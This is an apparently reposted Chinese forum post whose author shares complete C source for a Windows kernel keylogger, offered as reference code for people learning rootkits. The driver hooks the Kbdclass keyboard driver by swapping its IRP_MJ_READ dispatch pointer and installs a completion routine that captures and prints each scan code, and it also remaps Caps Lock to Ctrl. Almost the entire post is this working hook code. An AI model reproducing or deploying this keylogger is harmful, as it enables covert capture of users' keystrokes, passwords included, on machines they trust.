IRP Hook 键盘Logger

来源:互联网 发布:你不知道的事 知乎 编辑:程序博客网 时间:2024/06/02 19:56

 作 者: cogito

前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一个,权当是为学习rootkit 的新人提供一份完整的参考代码(当然,我也是驱动新人),大牛请无视。

承achillis 前辈指教,我修改了卸载函数,卸载时把处于Pending状态的那个IRP取消掉,这样不需要再等待一个按键。

本例只替换原键盘驱动中的IRP_MJ_READ分发函数,并在回调函数中简单打印出键盘码。

主要代码如下:

代码:
#include <wdm.h>#include <ntddkbd.h>#include "IRPKlog.h"//要获取的设备驱动名#define KBD_DRIVER_NAME L"//Driver//Kbdclass"//保存原有分发函数指针PDRIVER_DISPATCH OldDispatchRead;//保存键盘驱动设备对象PDRIVER_OBJECT KbdDriverObject;//未完成的IRP数目,不跟踪的话卸载驱动时会死得很难看int numPendingIrps = 0;extern POBJECT_TYPE IoDriverObjectType;//保存当前pending的IRP 用于卸载时取消PIRP PendingIrp = NULL;BOOLEANCancelKeyboardIrp(IN PIRP Irp){    if (Irp == NULL)    {        DbgPrint( "CancelKeyboardIrp: Irp error/n" );        return FALSE;    }      //    // 这里有些判断不是必须的,不过还是小心点好    //    if ( Irp->Cancel || Irp->CancelRoutine == NULL )    {        DbgPrint( "Can't Cancel the irp/n" );        return FALSE;    }      if ( FALSE == IoCancelIrp( Irp ) )    {        DbgPrint( "IoCancelIrp() to failed/n" );        return FALSE;    }      //    // 取消后重设此例程为空    //    IoSetCancelRoutine( Irp, NULL );  return TRUE; }//驱动卸载函数VOID Unload( IN PDRIVER_OBJECT pDriverObject){  PDEVICE_OBJECT pDeviceObj;  LARGE_INTEGER  lDelay;    PRKTHREAD CurrentThread;      //delay some time     lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND);        CurrentThread = KeGetCurrentThread();    // 把当前线程设置为低实时模式,以便让它的运行尽量少影响其他程序。    KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);  //还原IRP hook  InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldDispatchRead);    // 如果还有IRP 未完成且当前IRP有效则尝试取消这个 IRP  pDeviceObj = pDriverObject->DeviceObject;  if (numPendingIrps > 0 && PendingIrp != NULL)  {    if (CancelKeyboardIrp(PendingIrp) == STATUS_CANCELLED)    {                     DbgPrint( "成功取消IRP/n" );            goto __End;    }  }    DbgPrint("There are %d tagged IRPs/n",numPendingIrps);  //DbgPrint("等待最后一个按键.../n");  while (numPendingIrps)    {        KeDelayExecutionThread(KernelMode, FALSE, &lDelay);    }__End:  DbgPrint("删除设备……/n");    IoDeleteDevice(pDeviceObj);  DbgPrint("Driver Unload OK!/n");  return;}//MJ_READ 的回调函数NTSTATUS OnReadCompletion(                               IN PDEVICE_OBJECT DeviceObject,                               IN PIRP Irp,                               IN PVOID Context                               ){  ULONG buf_len = 0;          PUCHAR buf = NULL;    size_t i,numKeys;  PKEYBOARD_INPUT_DATA KeyData;   PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);    //  如果这个请求是成功的。很显然,如果请求失败了,这么获取    //   进一步的信息是没意义的  if( NT_SUCCESS( Irp->IoStatus.Status ) )     {        // 获得读请求完成后输出的缓冲区        buf = Irp->AssociatedIrp.SystemBuffer;    KeyData = (PKEYBOARD_INPUT_DATA)buf;        // 获得这个缓冲区的长度。一般的说返回值有多长都保存在        // Information中。        buf_len = Irp->IoStatus.Information;    numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA);        //简单打印扫描码    for(i=0;i<numKeys;++i)        {            //DbgPrint("ctrl2cap: %2x/r/n", buf[i]);      DbgPrint("/n");      DbgPrint("numKeys : %d",numKeys);      DbgPrint("ScanCode: %x ", KeyData->MakeCode );       DbgPrint("%s/n", KeyData->Flags ?"Up" : "Down" );      print_keystroke((UCHAR)KeyData->MakeCode);      if( KeyData->MakeCode == CAPS_LOCK)       {         KeyData->MakeCode = LCONTROL;       }         }    }  DbgPrint("Entering OnReadCompletion Routine.../n");  //完成一个IRP  numPendingIrps--;      if( Irp->PendingReturned )  {     IoMarkIrpPending( Irp );   }     //调用原来的完成函数,如果有的话    if ((Irp->StackCount > (ULONG)1) && (Context != NULL))  {    return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL);  }  else  {    return Irp->IoStatus.Status;  }}//新的分发函数NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp){    //DbgPrint("Entering NewDispatchRead Routine.../n");    //设置完成函数  PIO_STACK_LOCATION irpSp;    irpSp = IoGetCurrentIrpStackLocation(pIrp);    irpSp->Control =     SL_INVOKE_ON_SUCCESS|    SL_INVOKE_ON_ERROR|    SL_INVOKE_ON_CANCEL;    //irpSp->Control = SL_INVOKE_ON_SUCCESS;  //保留原来的完成函数,如果有的话  irpSp->Context = irpSp->CompletionRoutine;  irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion;    DbgPrint("已设置回调函数.../n");     //递增未完成的IRP数目  numPendingIrps++;    if (numPendingIrps > 0)  {    PendingIrp = pIrp;   }  return OldDispatchRead(pDeviceObject,pIrp);}NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath){  NTSTATUS status = 0;     UNICODE_STRING KbdNameString;  PDEVICE_OBJECT pDeviceObject;    DbgPrint("IRP Hook Keyboard Logger --DriverEntry/n");  // 初始化Kdbclass驱动的名字    RtlInitUnicodeString(&KbdNameString, KBD_DRIVER_NAME);   //就这个程序而言,不需要创建设备及链接    status = IoCreateDevice(             pDriverObject,             0,       //暂时设为0            NULL,     //不用名字先            FILE_DEVICE_UNKNOWN,             0,             TRUE,     //设为TRUE表示驱动独占,多数为FALSE            &pDeviceObject             );   if (!NT_SUCCESS(status))  {    DbgPrint("Create device error!/n");    return status;  }    //设置驱动卸载函数  pDriverObject->DriverUnload = Unload;  //获取驱动设备对象  status = ObReferenceObjectByName(         &KbdNameString,         OBJ_CASE_INSENSITIVE,         NULL,         0,         IoDriverObjectType,         KernelMode,        NULL,         &KbdDriverObject    //保存得到的设备对象        );   if (!NT_SUCCESS(status))  {    //如果失败    DbgPrint("Couldn't get the kbd driver object/n");    return STATUS_UNSUCCESSFUL;  }  else  {    //解除引用    ObDereferenceObject(KbdDriverObject);  }  OldDispatchRead = KbdDriverObject->MajorFunction[IRP_MJ_READ];  //原子交换操作   InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead);  return status; }
原创粉丝点击